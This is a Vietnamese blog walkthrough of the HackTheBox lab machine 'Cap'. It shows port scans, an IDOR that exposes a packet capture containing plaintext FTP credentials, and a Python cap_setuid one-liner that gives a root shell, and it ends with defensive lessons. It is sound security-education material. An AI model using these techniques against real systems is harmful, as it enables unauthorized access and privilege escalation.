Skip to main content

Command Palette

Search for a command to run...

Nhật Ký Tấn Công: HackTheBox — Cap

⚠️ Disclaimer: Bài viết này ghi lại quá trình khai thác machine "Cap" trên nền tảng HackTheBox — một môi trường lab hợp pháp dành cho việc học tập và nghiên cứu bảo mật. Mọi kỹ thuật được trình bày chỉ nhằm mục đích giáo dục. Tuyệt đối không sử dụng để tấn công hệ thống mà bạn không có quyền truy cập.

Updated
12 min read
Nhật Ký Tấn Công: HackTheBox — Cap

Giới thiệu

Hôm nay tôi nhắm vào một mục tiêu mang tên Cap — một machine rated Easy trên HackTheBox. Dễ hay không thì phải đánh mới biết. Đây là nhật ký ghi lại toàn bộ hành trình, từ lúc chưa biết gì về mục tiêu cho tới khi chiếm quyền kiểm soát hoàn toàn.

Phase 1: Reconnaissance — Lắng nghe trước khi hành động

Mọi cuộc tấn công đều bắt đầu bằng việc thu thập thông tin. Tôi chưa biết mục tiêu này chạy gì, mở cổng nào, hay có điểm yếu gì. Việc đầu tiên là lắng nghe.

Gõ cửa lần đầu — Naabu

Tôi bắt đầu bằng naabu — một port scanner nhanh của ProjectDiscovery — để quét toàn bộ 65535 port:

┌──(root㉿kali)-[/home/kali]
└─# naabu -host 10.129.195.57 -p - -v

                  __
  ___  ___  ___ _/ /  __ __
 / _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/

                projectdiscovery.io

[INF] Current naabu version 2.5.0 (latest)
[WRN] UI Dashboard is disabled, Use -dashboard option to enable
[INF] Running CONNECT scan with non root privileges
10.129.195.57:21
10.129.195.57:80
[INF] Found 2 ports on host 10.129.195.57 (10.129.195.57)

Kết quả trả về chỉ 2 port: 21 (FTP)80 (HTTP).

Nhưng tôi không tin. Kinh nghiệm cho thấy một lần scan không bao giờ đủ — đặc biệt khi scan qua VPN tới lab, packet loss là chuyện thường. Tôi chạy lại với flag -verify để naabu kiểm tra lần nữa:

┌──(root㉿kali)-[/home/kali]
└─# naabu -host 10.129.195.57 -p - -verify   

                  __
  ___  ___  ___ _/ /  __ __
 / _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/

                projectdiscovery.io

[INF] Current naabu version 2.5.0 (latest)
[WRN] UI Dashboard is disabled, Use -dashboard option to enable
[INF] Running CONNECT scan with non root privileges
^C[INF] Received signal: interrupt, exiting gracefully...
[INF] Creating resume file: /root/.config/naabu/resume.cfg
10.129.195.57:21
10.129.195.57:22
10.129.195.57:80
[INF] Found 3 ports on host 10.129.195.57 (10.129.195.57)

Lần này xuất hiện thêm port 22 (SSH). Bài học đầu tiên: đừng bao giờ tin tưởng một lần scan duy nhất.

Tôi chạy thêm lần nữa, lần này force SYN scan để đảm bảo chính xác:

┌──(root㉿kali)-[/home/kali]
└─# naabu -host 10.129.195.57 -p - -s s -verify

                  __
  ___  ___  ___ _/ /  __ __
 / _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/

                projectdiscovery.io

[INF] Current naabu version 2.5.0 (latest)
[WRN] UI Dashboard is disabled, Use -dashboard option to enable
[INF] Running SYN scan with CAP_NET_RAW privileges
10.129.195.57:22
3f06:55e2:a81:c339:a0a:e2a:b2a9:8195:22
10.129.195.57:80
3f06:55e2:a81:c339:a0a:e2a:44ca:8195:80
10.129.195.57:21
3f06:55e2:a81:c339:a0a:e2a:4bb2:8195:21
[INF] Found 3 ports on host 10.129.195.57 (10.129.195.57)
[INF] Found 0 ports on host 3f06:55e2:a81:c339:a0a:e2a:44ca:8195 (3f06:55e2:a81:c339:a0a:e2a:44ca:8195)
[INF] Found 0 ports on host 3f06:55e2:a81:c339:a0a:e2a:b2a9:8195 (3f06:55e2:a81:c339:a0a:e2a:b2a9:8195)
[INF] Found 0 ports on host 3f06:55e2:a81:c339:a0a:e2a:4bb2:8195 (3f06:55e2:a81:c339:a0a:e2a:4bb2:8195)

Kết quả xác nhận đủ 3 port: 21, 22, 80. Có một chi tiết thú vị — naabu v2.5.0 báo Running CONNECT scan with non root privileges dù tôi đang chạy với quyền root. Đây là bug của tool. Khi thêm -s s, nó mới chuyển sang SYN scan đúng nghĩa và báo Running SYN scan with CAP_NET_RAW privileges.

Nhìn kỹ hơn — Nmap

Đã biết mục tiêu mở 3 cổng, giờ tôi cần biết đằng sau mỗi cánh cửa là gì. Nmap với flag -sC -sV để enumerate service và chạy default scripts:

┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sV -Pn -p 22,80,21 10.129.195.57 -T4        
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-06 08:28 -0400
Nmap scan report for 10.129.195.57
Host is up (0.28s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.16 seconds

Kết quả:

Port Service Version
21 FTP vsftpd 3.0.3
22 SSH OpenSSH 8.2p1 Ubuntu
80 HTTP Gunicorn — "Security Dashboard"

Ba cánh cửa, ba cơ hội. FTP có thể cho phép anonymous login. SSH là đường vào nếu tôi tìm được credentials. Và một web app tên "Security Dashboard" chạy trên Gunicorn — nghe như có gì đó đáng để khám phá.

Phase 1 kết thúc. Tôi đã biết mục tiêu đang chạy gì. Giờ là lúc đào sâu hơn.

Phase 2: Scanning & Enumeration — Khám phá mục tiêu

Tôi mở trình duyệt và truy cập http://10.129.195.57. Một dashboard bảo mật hiện ra — Security Dashboard — và tôi đang ở trong vai user Nathan. Dashboard hiển thị thống kê: Security Events, Failed Login Attempts, Port Scans. Không cần đăng nhập — ứng dụng tự cho tôi vào.

Tôi bắt đầu khám phá các chức năng. Trang /ip hiển thị output ifconfig — leak thông tin network interface, IP nội bộ, MAC address.

Trang /netstat hiển thị tất cả active connections — tôi thậm chí thấy được IP của các user khác đang kết nối tới server. Những thông tin này trong thực tế là vàng cho attacker — giúp hiểu topology mạng nội bộ mà không cần scan thêm.

Nhưng điều khiến tôi chú ý nhất là trang /data/1. Trang này hiển thị thống kê một bản capture network — số packet, số IP packet, TCP, UDP — kèm nút Download để tải file PCAP. Và URL có một con số: /data/1.

Con số đó là một lời mời.

Phase 3: Exploitation — Khi một con số thay đổi tất cả

IDOR — Truy cập dữ liệu không thuộc về mình

Tôi thay đổi URL từ /data/1 thành /data/0.

Trang vẫn load bình thường. Không có thông báo lỗi, không có kiểm tra quyền. Nhưng lần này, số liệu khác hẳn — 72 packets thay vì 1. Đây rõ ràng là bản capture của một phiên hoạt động khác, không thuộc về tôi. Server đã không kiểm tra xem người dùng hiện tại có quyền xem dữ liệu này không — một lỗ hổng IDOR (Insecure Direct Object Reference) điển hình.

Tôi nhấn Download.

Phân tích PCAP — Bí mật trong những gói tin

Tôi mở file PCAP trong Wireshark. 72 packets — không nhiều, nhưng đủ để kể một câu chuyện. Phần đầu là traffic HTTP bình thường — ai đó truy cập web. Nhưng từ packet 31 trở đi, câu chuyện thay đổi: một phiên FTP bắt đầu.

FTP — giao thức truyền file ra đời từ thời internet còn chưa biết mã hóa là gì. Mọi thứ truyền đi đều ở dạng plaintext, kể cả username và password.

Và đây — rõ ràng như ban ngày:

Request: USER nathan

Response: 331 Please specify the password.

Request: PASS Buck3tH4TF0RM3!

Response: 230 Login successful.

Tôi có credentials rồi: nathan / Buck3tH4TF0RM3!

Phiên FTP còn cho thấy nathan cố tải file notes.txt nhưng thất bại (550 Failed to open file), rồi thoát ra. Không quan trọng — thứ tôi cần đã nằm trong tay.

Xác minh credentials — FTP trước

Có credentials trong tay, tôi cần xác nhận chúng thực sự hoạt động. FTP là nơi tôi tìm ra chúng, vậy thử FTP trước:

┌──(root㉿kali)-[/home/kali]
└─# ftp nathan@10.129.195.57
Connected to 10.129.195.57.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Mật khẩu được chấp nhận. 230 Login successful. — credentials hợp lệ.

Tôi chạy ls -la để quan sát home directory của nathan. Vài điều đáng chú ý: .bash_history được symlink tới /dev/null — command history bị xóa sạch. Dù đây là biện pháp bảo mật hay ai đó đang cố che dấu vết, nó cho thấy có người đã nghĩ tới operational security trên server này.

ftp> ls -la
229 Entering Extended Passive Mode (|||5598|)
150 Here comes the directory listing.
drwxr-xr-x    3 1001     1001         4096 May 27  2021 .
drwxr-xr-x    3 0        0            4096 May 23  2021 ..
lrwxrwxrwx    1 0        0               9 May 15  2021 .bash_history -> /dev/null
-rw-r--r--    1 1001     1001          220 Feb 25  2020 .bash_logout
-rw-r--r--    1 1001     1001         3771 Feb 25  2020 .bashrc
drwx------    2 1001     1001         4096 May 23  2021 .cache
-rw-r--r--    1 1001     1001          807 Feb 25  2020 .profile
lrwxrwxrwx    1 0        0               9 May 27  2021 .viminfo -> /dev/null
-r--------    1 1001     1001           33 Apr 06 11:29 user.txt
226 Directory send OK.

Tôi thấy user.txt — flag đầu tiên. Tải về và xác nhận: mục tiêu thứ nhất hoàn thành.

ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||9303|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |**************************************************************************************************************|    33      171.41 KiB/s    00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.12 KiB/s)
ftp> bye
221 Goodbye.
                                                                                                                                                           
┌──(root㉿kali)-[/home/kali]
└─# cat user.txt                                               
ced975**************************

Nhưng FTP có giới hạn. Tôi cần một shell đầy đủ để đi xa hơn. Đến lượt SSH.

Phase 4: Leo quyền — Cái "Cap" khai phá tất cả

SSH với tư cách nathan cho tôi một shell đầy đủ. Việc đầu tiên — xác nhận tôi là ai:

┌──(root㉿kali)-[/home/kali]
└─# ssh nathan@10.129.195.57   
The authenticity of host '10.129.195.57 (10.129.195.57)' can't be established.
ED25519 key fingerprint is: SHA256:UDhIJpylePItP3qjtVVU+GnSyAZSr+mZKHzRoKcmLUI
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:7: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.195.57' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
nathan@10.129.195.57's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Apr  6 17:24:59 UTC 2026

  System load:           0.0
  Usage of /:            36.8% of 8.73GB
  Memory usage:          22%
  Swap usage:            0%
  Processes:             225
  Users logged in:       0
  IPv4 address for eth0: 10.129.195.57
  IPv6 address for eth0: dead:beef::250:56ff:fe95:f327

  => There are 3 zombie processes.


63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)

Một user bình thường. Không thuộc group đặc biệt, không có đường tắt. Tôi kiểm tra quyền sudo:

nathan@cap:~$ sudo -l
[sudo] password for nathan: 
Sorry, user nathan may not run sudo on cap.

Ngõ cụt. Nhưng machine này tên là Cap không phải ngẫu nhiên. Đến lúc kiểm tra Linux capabilities:

nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Đây rồi. Python 3.8 có capability cap_setuid. Nói đơn giản, bất kỳ process nào chạy qua Python 3.8 đều có thể thay đổi User ID của nó sang bất kỳ giá trị nào — bao gồm UID 0, tức root.

Đây là một misconfiguration nguy hiểm. Linux capabilities được thiết kế để cấp cho binary những quyền nâng cao cụ thể mà không cần trao toàn quyền root. Nhưng cap_setuid trên một interpreter như Python thì khác — nó tương đương với việc đưa chìa khóa cả hệ thống cho bất kỳ ai biết viết Python.

Chỉ cần một dòng lệnh:

nathan@cap:~$ python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:~# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)

Root. Game over.

oot@cap:~# cat /root/root.txt
470088**************************

Bài học rút ra

Machine này, dù được đánh giá Easy, thể hiện một chuỗi tấn công thực tế phản ánh những vụ xâm nhập ngoài đời thật:

Lỗ hổng IDOR có mặt khắp nơi. Một ID tuần tự đơn giản trong URL đã cho phép truy cập dữ liệu nhạy cảm của người khác. Không có kiểm tra authentication, không có logic authorization — chỉ một con số mà bất kỳ ai cũng có thể thay đổi. Trong hệ thống thực tế, đây là một trong những lỗ hổng phổ biến nhất và dễ bị bỏ qua nhất.

Giao thức plaintext là món quà cho attacker. FTP truyền mọi thứ — kể cả credentials — dưới dạng cleartext. Bất kỳ ai bắt được traffic mạng đều có thể đọc username và password dễ dàng như đọc sách. Đây là lý do môi trường hiện đại bắt buộc sử dụng SFTP hoặc FTPS.

Linux capabilities có thể nguy hiểm như SUID. cap_setuid trên một interpreter như Python thực chất không khác gì chạy nó với quyền root. System administrator cần audit capabilities thường xuyên bằng getcap và giới hạn chúng chỉ cho những binary thực sự cần thiết.

Tái sử dụng mật khẩu là kẻ giết người thầm lặng. Nathan dùng cùng một mật khẩu cho FTP và SSH. Một credential bị lộ đã cho phép truy cập mọi thứ. Ngoài đời thật, đây là cách attacker di chuyển ngang qua toàn bộ mạng lưới.

Trong một cuộc tấn công thực tế, attacker sẽ tiếp tục thiết lập persistence, dựng kênh command and control, và xóa dấu vết. Nhưng trong lab này, mục tiêu đã rõ: chiếm flag và hiểu các lỗ hổng. Nhiệm vụ hoàn thành.